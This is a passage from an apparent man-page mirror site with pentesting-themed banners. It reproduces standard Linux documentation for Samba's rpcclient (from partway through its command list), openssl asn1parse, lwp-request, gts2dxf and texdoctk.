Try to use the credential cache by winbind.

–client-protection=sign|encrypt|off

Sets the connection protection the client tool should use.

Note that specifying this parameter here will override the client protection parameter in the /etc/samba/smb.conf file.

In case you need more fine grained control you can use: –option=clientsmbencrypt=OPTION, –option=clientipcsigning=OPTION, –option=clientsigning=OPTION.

COMMANDS

LSARPC

lsaquery

Query info policy

lookupsids

Convert SIDs to names

lookupsids3

Convert SIDs to names

lookupsids_level

Convert SIDs to names

lookupnames

Convert names to SIDs

lookupnames4

Convert names to SIDs

lookupnames_level

Convert names to SIDs

enumtrust

Enumerate trusted domains

enumprivs

Enumerate privileges

getdispname

Get the privilege name

lsaenumsid

Enumerate the LSA SIDS

lsacreateaccount

Create a new lsa account

lsaenumprivsaccount

Enumerate the privileges of an SID

lsaenumacctrights

Enumerate the rights of an SID

lsaaddpriv

Assign a privilege to a SID

lsadelpriv

Revoke a privilege from a SID

lsaaddacctrights

Add rights to an account

lsaremoveacctrights

Remove rights from an account

lsalookupprivvalue

Get a privilege value given its name

lsaquerysecobj

Query LSA security object

lsaquerytrustdominfo

Query LSA trusted domains info (given a SID)

lsaquerytrustdominfobyname

Query LSA trusted domains info (given a name), only works for Windows > 2k

lsaquerytrustdominfobysid

Query LSA trusted domains info (given a SID)

lsasettrustdominfo

Set LSA trusted domain info

getusername

Get username

createsecret

Create Secret

deletesecret

Delete Secret

querysecret

Query Secret

setsecret

Set Secret

retrieveprivatedata

Retrieve Private Data

storeprivatedata

Store Private Data

createtrustdom

Create Trusted Domain

deletetrustdom

Delete Trusted Domain

LSARPC-DS

dsroledominfo

Get Primary Domain Information

DFS

dfsversion

Query DFS support

dfsadd

Add a DFS share

dfsremove

Remove a DFS share

dfsgetinfo

Query DFS share info

dfsenum

Enumerate dfs shares

dfsenumex

Enumerate dfs shares

SHUTDOWN

shutdowninit

syntax: shutdown [-m message]

shutdownabort

syntax: shutdownabort

SRVSVC

srvinfo

Server query info

netshareenum

Enumerate shares

netshareenumall

Enumerate all shares

netsharegetinfo

Get Share Info

netsharesetinfo

Set Share Info

netsharesetdfsflags

Set DFS flags

netfileenum

Enumerate open files

netremotetod

Fetch remote time of day

netnamevalidate

Validate sharename

netfilegetsec

Get File security

netsessdel

Delete Session

netsessenum

Enumerate Sessions

netdiskenum

Enumerate Disks

netconnenum

Enumerate Connections

netshareadd

Add share

netsharedel

Delete share

SAMR

queryuser

Query user info

querygroup

Query group info

queryusergroups

Query user groups

queryuseraliases

Query user aliases

querygroupmem

Query group membership

queryaliasmem

Query alias membership

queryaliasinfo

Query alias info

deletealias

Delete an alias

querydispinfo

Query display info

querydispinfo2

Query display info

querydispinfo3

Query display info

querydominfo

Query domain info

enumdomusers

Enumerate domain users

enumdomgroups

Enumerate domain groups

enumalsgroups

Enumerate alias groups

enumdomains

Enumerate domains

createdomuser

Create domain user

createdomgroup

Create domain group

createdomalias

Create domain alias

samlookupnames

Look up names

samlookuprids

Look up names

deletedomgroup

Delete domain group

deletedomuser

Delete domain user

samquerysecobj

Query SAMR security object

getdompwinfo

Retrieve domain password info

getusrdompwinfo

Retrieve user domain password info

lookupdomain

Lookup Domain Name

chgpasswd

Change user password

chgpasswd2

Change user password

chgpasswd3

Change user password (RC4 encrypted)

chgpasswd4

Change user password (AES encrypted)

getdispinfoidx

Get Display Information Index

setuserinfo

Set user info

setuserinfo2

Set user info2

SPOOLSS

adddriver <arch> <config> [<version>]

Execute an AddPrinterDriver() RPC to install the printer driver information on the server. Note that the driver files should already exist in the directory returned by getdriverdir. Possible values for arch are the same as those for the getdriverdir command. The config parameter is defined as follows:

Long Driver Name:
Driver File Name:
Data File Name:
Config File Name:
Help File Name:
Language Monitor Name:
Default Data Type:
Comma Separated list of Files

Any empty fields should be enter as the string “NULL”.

Samba does not need to support the concept of Print Monitors since these only apply to local printers whose driver can make use of a bi-directional link for communication. This field should be “NULL”. On a remote NT print server, the Print Monitor for a driver must already be installed prior to adding the driver or else the RPC will fail.

The version parameter lets you specify the printer driver version number. If omitted, the default driver version for the specified architecture will be used. This option can be used to upload Windows 2000 (version 3) printer drivers.

addprinter <printername> <sharename> <drivername> <port>

Add a printer on the remote server. This printer will be automatically shared. Be aware that the printer driver must already be installed on the server (see adddriver) and the portmust be a valid port name (see enumports.

deldriver <driver>

Delete the specified printer driver for all architectures. This does not delete the actual driver files from the server, only the entry from the servers list of drivers.

deldriverex <driver> [architecture] [version] [flags]

Delete the specified printer driver and optionally files associated with the driver. You can limit this action to a specific architecture and a specific version. If no architecture is given, all driver files of that driver will be deleted. flags correspond to numeric DPD_* values, i.e. a value of 3 requests (DPD_DELETE_UNUSED_FILES | DPD_DELETE_SPECIFIC_VERSION).

enumdata

Enumerate all printer setting data stored on the server. On Windows NT clients, these values are stored in the registry, while Samba servers store them in the printers TDB. This command corresponds to the MS Platform SDK GetPrinterData() function (* This command is currently unimplemented).

enumdataex

Enumerate printer data for a key

enumkey

Enumerate printer keys

enumjobs <printer>

List the jobs and status of a given printer. This command corresponds to the MS Platform SDK EnumJobs() function

getjob

Get print job

setjob

Set print job

enumports [level]

Executes an EnumPorts() call using the specified info level. Currently only info levels 1 and 2 are supported.

enumdrivers [level]

Execute an EnumPrinterDrivers() call. This lists the various installed printer drivers for all architectures. Refer to the MS Platform SDK documentation for more details of the various flags and calling options. Currently supported info levels are 1, 2, and 3.

enumprinters [level]

Execute an EnumPrinters() call. This lists the various installed and share printers. Refer to the MS Platform SDK documentation for more details of the various flags and calling options. Currently supported info levels are 1, 2 and 5.

getdata <printername> <valuename;>

Retrieve the data for a given printer setting. See the enumdata command for more information. This command corresponds to the GetPrinterData() MS Platform SDK function.

getdataex

Get printer driver data with keyname

getdriver <printername>

Retrieve the printer driver information (such as driver file, config file, dependent files, etc…) for the given printer. This command corresponds to the GetPrinterDriver() MS Platform SDK function. Currently info level 1, 2, and 3 are supported.

getdriverdir <arch>

Execute a GetPrinterDriverDirectory() RPC to retrieve the SMB share name and subdirectory for storing printer driver files for a given architecture. Possible values for arch are “Windows 4.0” (for Windows 95/98), “Windows NT x86”, “Windows NT PowerPC”, “Windows Alpha_AXP”, and “Windows NT R4000”.

getdriverpackagepath

Get print driver package download directory

getprinter <printername>

Retrieve the current printer information. This command corresponds to the GetPrinter() MS Platform SDK function.

openprinter <printername>

Execute an OpenPrinterEx() and ClosePrinter() RPC against a given printer.

openprinter_ex <printername>

Open printer handle

setdriver <printername> <drivername>

Execute a SetPrinter() command to update the printer driver associated with an installed printer. The printer driver must already be correctly installed on the print server.

See also the enumprinters and enumdrivers commands for obtaining a list of of installed printers and drivers.

getprintprocdir

Get print processor directory

addform

Add form

setform

Set form

getform

Get form

deleteform

Delete form

enumforms

Enumerate form

setprinter

Set printer comment

setprinterdata

Set REG_SZ printer data

setprintername <printername> <newprintername>

Set printer name

rffpcnex

Rffpcnex test

printercmp

Printer comparison test

enumprocs

Enumerate Print Processors

enumprocdatatypes

Enumerate Print Processor Data Types

enummonitors

Enumerate Print Monitors

createprinteric

Create Printer IC

playgdiscriptonprinteric

Create Printer IC

getcoreprinterdrivers

Get CorePrinterDriver

enumpermachineconnections

Enumerate Per Machine Connections

addpermachineconnection

Add Per Machine Connection

delpermachineconnection

Delete Per Machine Connection

NETLOGON

logonctrl2

Logon Control 2

getanydcname

Get trusted DC name

getdcname

Get trusted PDC name

dsr_getdcname

Get trusted DC name

dsr_getdcnameex

Get trusted DC name

dsr_getdcnameex2

Get trusted DC name

dsr_getsitename

Get sitename

dsr_getforesttrustinfo

Get Forest Trust Info

logonctrl

Logon Control

samlogon

Sam Logon

change_trust_pw

Change Trust Account Password

gettrustrid

Get trust rid

dsr_enumtrustdom

Enumerate trusted domains

dsenumdomtrusts

Enumerate all trusted domains in an AD forest

deregisterdnsrecords

Deregister DNS records

netrenumtrusteddomains

Enumerate trusted domains

netrenumtrusteddomainsex

Enumerate trusted domains

getdcsitecoverage

Get the Site-Coverage from a DC

capabilities

Return Capabilities

logongetdomaininfo

Return LogonGetDomainInfo

FSRVP

fss_is_path_sup

Check whether a share supports shadow-copy

fss_get_sup_version

Get supported FSRVP version from server

fss_create_expose

Request shadow-copy creation and exposure

fss_delete

Request shadow-copy share deletion

fss_has_shadow_copy

Check for an associated share shadow-copy

fss_get_mapping

Get shadow-copy share mapping information

fss_recovery_complete

Flag read-write snapshot as recovery complete,

CLUSAPI

clusapi_open_cluster

Open cluster

clusapi_get_cluster_name

Get cluster name

clusapi_get_cluster_version

Get cluster version

clusapi_get_quorum_resource

Get quorum resource

clusapi_create_enum

Create enum query

clusapi_create_enumex

Create enumex query

clusapi_open_resource

Open cluster resource

clusapi_online_resource

Set cluster resource online

clusapi_offline_resource

Set cluster resource offline

clusapi_get_resource_state

Get cluster resource state

clusapi_get_cluster_version2

Get cluster version2

clusapi_pause_node

Pause cluster node

clusapi_resume_node

Resume cluster node

DRSUAPI

dscracknames

Crack Name

dsgetdcinfo

Get Domain Controller Info

dsgetncchanges

Get NC Changes

dswriteaccountspn

Write Account SPN

ECHO

echoaddone

Add one to a number

echodata

Echo data

sinkdata

Sink data

sourcedata

Source data

EPMAPPER

epmmap

Map a binding

epmlookup

Lookup bindings

EVENTLOG

eventlog_readlog

Read Eventlog

eventlog_numrecord

Get number of records

eventlog_oldestrecord

Get oldest record

eventlog_reportevent

Report event

eventlog_reporteventsource

Report event and source

eventlog_registerevsource

Register event source

eventlog_backuplog

Backup Eventlog File

eventlog_loginfo

Get Eventlog Information

IRemoteWinspool

winspool_AsyncOpenPrinter

Open printer handle

winspool_AsyncCorePrinterDriverInstalled

Query Core Printer Driver Installed

NTSVCS

ntsvcs_getversion

Query NTSVCS version

ntsvcs_validatedevinst

Query NTSVCS device instance

ntsvcs_hwprofflags

Query NTSVCS HW prof flags

ntsvcs_hwprofinfo

Query NTSVCS HW prof info

ntsvcs_getdevregprop

Query NTSVCS device registry property

ntsvcs_getdevlistsize

Query NTSVCS device list size

ntsvcs_getdevlist

Query NTSVCS device list

MDSSVC

fetch_properties

Fetch connection properties

fetch_attributes

Fetch attributes for a CNID

WINREG

winreg_enumkey

Enumerate Keys

querymultiplevalues

Query multiple values

querymultiplevalues2

Query multiple values

WITNESS

GetInterfaceList

List the interfaces to which witness client connections can be made

Register

Register for resource state change notifications of a NetName and IPAddress

UnRegister

Unregister for notifications from the server

AsyncNotify

Request notification of registered resource changes from the server

RegisterEx

Register for resource state change notifications of a NetName, ShareName and multiple IPAddresses

WKSSVC

wkssvc_wkstagetinfo

Query WKSSVC Workstation Information

wkssvc_getjoininformation

Query WKSSVC Join Information

wkssvc_messagebuffersend

Send WKSSVC message

wkssvc_enumeratecomputernames

Enumerate WKSSVC computer names

wkssvc_enumerateusers

Enumerate WKSSVC users

GENERAL OPTIONS

help

Get help on commands

?

Get help on commands

debuglevel

Set debug level

debug

Set debug level

list

List available commands on pipe

exit

Exit program

quit

Exit program

sign

Force RPC pipe connections to be signed

seal

Force RPC pipe connections to be sealed

packet

Force RPC pipe connections with packet authentication level

schannel

Force RPC pipe connections to be sealed with schannel. Force RPC pipe connections to be sealed with schannel. Assumes valid machine account to this domain controller.

schannelsign

Force RPC pipe connections to be signed (not sealed) with schannel. Assumes valid machine account to this domain controller.

timeout

Set timeout (in milliseconds) for RPC operations

transport

Choose ncacn transport for RPC operations

none

Force RPC pipe connections to have no special properties

BUGS

rpcclient is designed as a developer testing tool and may not be robust in certain areas (such as command line parsing). It has been known to generate a core dump upon failures when invalid parameters were passed to the interpreter.

From Luke Leightons original rpcclient man page:

WARNING! The MSRPC over SMB code has been developed from examining Network traces. No documentation is available from the original creators (Microsoft) on how MSRPC over SMB works, or how the individual MSRPC services work. Microsofts implementation of these services has been demonstrated (and reported) to be… a bit flaky in places.

The development of Sambas implementation is also a bit rough, and as more of the services are understood, it can even result in versions of smbd(8) and rpcclient(1) that are incompatible for some commands or services. Additionally, the developers are sending reports to Microsoft, and problems found or reported to Microsoft are fixed in Service Packs, which may result in incompatibilities.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

The original rpcclient man page was written by Matthew Geddes, Luke Kenneth Casson Leighton, and rewritten by Gerald Carter. The conversion to DocBook for Samba 2.2 was done by Gerald Carter. The conversion to DocBook XML 4.2 for Samba 3.0 was done by Alexander Bokovoy.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1828 - Linux cli command openssl-asn1parsessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-asn1parsessl and provides detailed information about the command openssl-asn1parsessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-asn1parsessl.

NAME 🖥️ openssl-asn1parsessl 🖥️

asn1parse - ASN.1 parsing command

SYNOPSIS

openssl asn1parse [-help] [-inform DER|PEM|B64] [-in filename] [-out filename] [-noout] [-offset number] [-length number] [-i] [-oid filename] [-dump] [-dlimit num] [-strparse offset] [-genstr string] [-genconf file] [-strictpem] [-item name]

DESCRIPTION

This command is a diagnostic utility that can parse ASN.1 structures. It can also be used to extract data from ASN.1 formatted data.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM|B64
The input format; the default is PEM. See openssl-format-options (1) for details.

-in filename
The input file, default is standard input.

-out filename
Output file to place the DER encoded data into. If this option is not present then no data will be output. This is most useful when combined with the -strparse option.

-noout
Don’t output the parsed version of the input file.

-offset number
Starting offset to begin parsing, default is start of file.

-length number
Number of bytes to parse, default is until end of file.

-i
Indents the output according to the “depth” of the structures.

-oid filename
A file containing additional OBJECT IDENTIFIERs (OIDs). The format of this file is described in the NOTES section below.

-dump
Dump unknown data in hex format.

-dlimit num
Like -dump, but only the first num bytes are output.

-strparse offset
Parse the contents octets of the ASN.1 object starting at offset. This option can be used multiple times to “drill down” into a nested structure.

-genstr string, -genconf file
Generate encoded data based on string, file or both using ASN1_generate_nconf (3) format. If file only is present then the string is obtained from the default section using the name asn1. The encoded data is passed through the ASN1 parser and printed out as though it came from a file, the contents can thus be examined and written to a file using the -out option.

-strictpem
If this option is used then -inform will be ignored. Without this option any data in a PEM format input file will be treated as being base64 encoded and processed whether it has the normal PEM BEGIN and END markers or not. This option will ignore any data prior to the start of the BEGIN marker, or after an END marker in a PEM file.

-item name
Attempt to decode and print the data as an ASN1_ITEM name. This can be used to print out the fields of any supported ASN.1 structure if the type is known.

Output

The output will typically contain lines like this:

0:d=0 hl=4 l= 681 cons: SEQUENCE

…..

229:d=3 hl=3 l= 141 prim: BIT STRING 373:d=2 hl=3 l= 162 cons: cont [ 3 ] 376:d=3 hl=3 l= 159 cons: SEQUENCE 379:d=4 hl=2 l= 29 cons: SEQUENCE 381:d=5 hl=2 l= 3 prim: OBJECT :X509v3 Subject Key Identifier 386:d=5 hl=2 l= 22 prim: OCTET STRING 410:d=4 hl=2 l= 112 cons: SEQUENCE 412:d=5 hl=2 l= 3 prim: OBJECT :X509v3 Authority Key Identifier 417:d=5 hl=2 l= 105 prim: OCTET STRING 524:d=4 hl=2 l= 12 cons: SEQUENCE

…..

This example is part of a self-signed certificate. Each line starts with the offset in decimal. d=XX specifies the current depth. The depth is increased within the scope of any SET or SEQUENCE. hl=XX gives the header length (tag and length octets) of the current type. l=XX gives the length of the contents octets.

The -i option can be used to make the output more readable.

Some knowledge of the ASN.1 structure is needed to interpret the output.

In this example the BIT STRING at offset 229 is the certificate public key. The contents octets of this will contain the public key information. This can be examined using the option -strparse 229 to yield:

0:d=0 hl=3 l= 137 cons: SEQUENCE 3:d=1 hl=3 l= 129 prim: INTEGER :E5D21E1F5C8D208EA7A2166C7FAF9F6BDF2059669C60876DDB70840F1A5AAFA59699FE471F379F1DD6A487E7D5409AB6A88D4A9746E24B91D8CF55DB3521015460C8EDE44EE8A4189F7A7BE77D6CD3A9AF2696F486855CF58BF0EDF2B4068058C7A947F52548DDF7E15E96B385F86422BEA9064A3EE9E1158A56E4A6F47E5897 135:d=1 hl=2 l= 3 prim: INTEGER :010001

NOTES

If an OID is not part of OpenSSL’s internal table it will be represented in numerical form (for example 1.2.3.4). The file passed to the -oid option allows additional OIDs to be included. Each line consists of three columns, the first column is the OID in numerical format and should be followed by white space. The second column is the “short name” which is a single word followed by whitespace. The final column is the rest of the line and is the “long name”. Example:

1.2.3.4 shortName A long name

For any OID with an associated short and long name, this command will display the long name.

EXAMPLES

Parse a file:

openssl asn1parse -in file.pem

Parse a DER file:

openssl asn1parse -inform DER -in file.der

Generate a simple UTF8String:

openssl asn1parse -genstr UTF8:Hello World

Generate and write out a UTF8String, don’t print parsed output:

openssl asn1parse -genstr UTF8:Hello World -noout -out utf8.der

Generate using a config file:

openssl asn1parse -genconf asn1.cnf -noout -out asn1.der

Example config file:

asn1=SEQUENCE:seq_sect [seq_sect] field1=BOOL:TRUE field2=EXP:0, UTF8:some random string

BUGS

There should be options to change the format of output lines. The output of some ASN.1 types is not well handled (if at all).

SEE ALSO

openssl (1), ASN1_generate_nconf (3)

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1829 - Linux cli command POSTp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command POSTp and provides detailed information about the command POSTp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the POSTp.

NAME 🖥️ POSTp 🖥️

request - Simple command line user agent

SYNOPSIS

lwp-request [-afPuUsSedvhx] [-m method] [-b base URL] [-t timeout] [-i if-modified-since] [-c content-type] [-C credentials] [-p proxy-url] [-o format] url

DESCRIPTION

This program can be used to send requests to WWW servers and your local file system. The request content for POST, PUT and PATCH methods is read from stdin. The content of the response is printed on stdout. Error messages are printed on stderr. The program returns a status value indicating the number of URLs that failed.

The options are:

-m <method>
Set which method to use for the request. If this option is not used, then the method is derived from the name of the program.

-f
Force request through, even if the program believes that the method is illegal. The server might reject the request eventually.

-b <uri>
This URI will be used as the base URI for resolving all relative URIs given as argument.

-t <timeout>
Set the timeout value for the requests. The timeout is the amount of time that the program will wait for a response from the remote server before it fails. The default unit for the timeout value is seconds. You might append “m” or “h” to the timeout value to make it minutes or hours, respectively. The default timeout is ‘3m’, i.e. 3 minutes.

-i <time>
Set the If-Modified-Since header in the request. If time is the name of a file, use the modification timestamp for this file. If time is not a file, it is parsed as a literal date. Take a look at HTTP::Date for recognized formats.

-c <content-type>
Set the Content-Type for the request. This option is only allowed for requests that take a content, i.e. POST, PUT and PATCH. You can force methods to take content by using the -f option together with -c. The default Content-Type for POST is application/x-www-form-urlencoded. The default Content-type for the others is text/plain.

-p <proxy-url>
Set the proxy to be used for the requests. The program also loads proxy settings from the environment. You can disable this with the -P option.

-P
Don’t load proxy settings from environment.

-H <header>
Send this HTTP header with each request. You can specify several, e.g.: lwp-request \ -H Referer: http://other.url/ \ -H Host: somehost \ http://this.url/

-C <username>:<password>
Provide credentials for documents that are protected by Basic Authentication. If the document is protected and you did not specify the username and password with this option, then you will be prompted to provide these values.

The following options controls what is displayed by the program:

-u
Print request method and absolute URL as requests are made.

-U
Print request headers in addition to request method and absolute URL.

-s
Print response status code. This option is always on for HEAD requests.

-S
Print response status chain. This shows redirect and authorization requests that are handled by the library.

-e
Print response headers. This option is always on for HEAD requests.

-E
Print response status chain with full response headers.

-d
Do not print the content of the response.

-o <format>
Process HTML content in various ways before printing it. If the content type of the response is not HTML, then this option has no effect. The legal format values are; text, ps, links, html and dump. If you specify the text format then the HTML will be formatted as plain latin1 text. If you specify the ps format then it will be formatted as Postscript. The links format will output all links found in the HTML document. Relative links will be expanded to absolute ones. The html format will reformat the HTML code and the dump format will just dump the HTML syntax tree. Note that the HTML-Tree distribution needs to be installed for this option to work. In addition the HTML-Format distribution needs to be installed for -o text or -o ps to work.

-v
Print the version number of the program and quit.

-h
Print usage message and quit.

-a
Set text(ascii) mode for content input and output. If this option is not used, content input and output is done in binary mode.

Because this program is implemented using the LWP library, it will only support the protocols that LWP supports.

SEE ALSO

lwp-mirror, LWP

COPYRIGHT

Copyright 1995-1999 Gisle Aas.

This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

AUTHOR

Gisle Aas <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1830 - Linux cli command gts2dxf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gts2dxf and provides detailed information about the command gts2dxf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gts2dxf.

NAME 🖥️ gts2dxf 🖥️

converts a GTS file to DXF format.

SYNOPSIS

gts2dxf < *input.gts *> output.dxf

DESCRIPTION

This manual page documents briefly the gts2dxf command.

AUTHOR

gts2dxf was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1831 - Linux cli command texdoctk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command texdoctk and provides detailed information about the command texdoctk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the texdoctk.

NAME 🖥️ texdoctk 🖥️

GUI for easier access of TeX package and program documentations

SYNOPSIS

texdoctk -[aq]

DESCRIPTION

texdoctk is a GUI for easier access to a large part of the vast amount of package and program documentations and tutorials for TeX and its different derivatives (mainly LaTeX). It is optimized and included in the teTeX and fpTeX distributions and also available with TeXLive.

The documentation is grouped into 17 categories; the 18th button of the main panel is inactive by default and intended for use with local additions (see section CONFIGURATION below).

In the settings window you see a checkbox in the html->ps and text->ps converter menus for switching on/off output redirect. This is due to the fact that some converters do not write their output into a file but to stdout by default, so a redirect is needed, e.g.

a2ps myfile.txt >myfile.ps

OPTIONS

-v
verbose: enable some viewer messages which are otherwise sent to stderr, as well as some warning popup windows. This can also be set in a configuration file.

-a
autoview: autostart viewer if a listbox contains only one item (this will frequently happen in search results). This can also be set in a configuration file.

CONFIGURATION

The configuration is controlled by the system default configuration file ($TEXMFMAIN)/texdoctk/texdocrc.defaults, most of whose entries can though be overridden by the users’ own optional ~/.texdocrc files and/or command line options.

The Settings menu and configuration files

The Settings menu is used to change the user-definable settings of texdoctk for the duration of the program call or as new defaults. The latter case is the purpose of the Save button, which generates or rewrites the user’s own ~/.texdocrc file. The system defaults cannot be edited with the Settings menu.

Paths
The TEXMF-type paths on the system are reported, and the user can specify the name of the subdirectory of $HOMETEXMF, where the personal documentation is stored.

General viewer behaviour
Suppress error messages toggle verbose mode (see option -v); default is off.

Autostart viewer for one-item listboxes if a listbox contains only one item (see option -a)

Use text viewer for unknown file format i.e. treat the file as plain text. texdoctk should recognize the usual file formats and also relate names like README to plain text, but some docs may have freely invented names. Default is on; if switched off, trying to view such files will raise an error. The switch does not influence printing: unrecognized formats cannot be printed.

Change viewer colours using either RGB triplets in the format #rrggbb or the standardized names.

DVI/PostScript/PDF/HTML/Plain text
For text files, texdoctk provides an own viewer. If this viewer is disabled, but no alternative viewer is specified, texdoctk tries to read the content of the environment variable $PAGER.

If you want to print the documentations, you will need converters to turn non-PS files into PostScript. Here are some suggestions:

dvi->ps: dvips (is part of teTeX) (http://www.radicaleye.com/dvips.html)

pdf->ps: pdf2ps (http://www.cs.wisc.edu/~ghost) or Acrobat Reader (http://www.adobe.com)

html->ps: html2ps (http://user.it.uu.se/~jan/html2ps.html)

plain text->ps: a2ps (http://www-inf.enst.fr/~demaille/a2ps/)

The html->ps and text->ps converter menus for switching on/off output redirect. This is due to the fact that some converters do not write their output into a file but to stdout by default, so a redirect is needed, e.g. a2ps myfile.txt >myfile.ps

The system-wide configuration file is ($TEXMFMAIN)/texdoctk/texdocrc.defaults and should only be writable by the administrator of the installation using any text editor. The optional user configuration file is ~/.texdocrc and can override all but those system settings which affect the installation as a whole. The preferred way of changing it is through the Settings menu.

The databases

texdoctk comes with a default database file ($TEXMFMAIN)/texdoctk/texdoctk.dat with a special format. It is divided into 17 sections corresponding to the 17 buttons that are active by default. Each section begins with a line

@section_name

where section_name is the text as it appears in the button. This title is followed by the descriptive entries for each documentation, which have this format:

package-label;Short description for listbox (opt. package-name);path in doc directory;optional keywords

(without breaking the line!). Comments (initiated with a #) and empty lines are ignored by the program. The second field is the text displayed in the selection listboxes of texdoctk, and you will usually want to mention the name of the package in parens along with it; the first field is a unique label for the package for internal use of the program which will usually be chosen identical to the package name, but can be different if there is more than one documentation file coming with a package.

The administrator will probably install additional packages in the local texmf tree. The corresponding documentation can be made accessible by an additional database $TEXMFLOCAL/texdoctk/texdoctk-local.dat. Furthermore, individual users possibly install additional packages in an texmf subdirectory of their $HOME, for which they can make an individual database themselves as $TEXMFHOME/texdoctk/texdoctk-pers.dat. After creating such files, texhash must be executed.

Both types of databases must have the same structure as the system database, although they need (and should) not include all its sections if there are no additional entries. For example, if the the package foo is added to the local tree such that its documentation file is ($TEXMFLOCAL)/doc/latex/foo/foo.dvi and it is decided that it fits best into the existing category Graphics, texdoctk-local.dat would look like this:

@Graphics
foo;Create bells and whistles (foo);latex/foo/foo.dvi;decoration

The entry for foo will then be appended to the list of entries in the Graphics category. The 18th button can be activated in the same way, but using a new category name; possible entries at the beginning of the database which have not been assigned to a category will be assigned to the default Miscellaneous, making the 18th button active with that label. Note that you cannot have more than 18 categories; if there are more, only the one defined last will appear and be used.

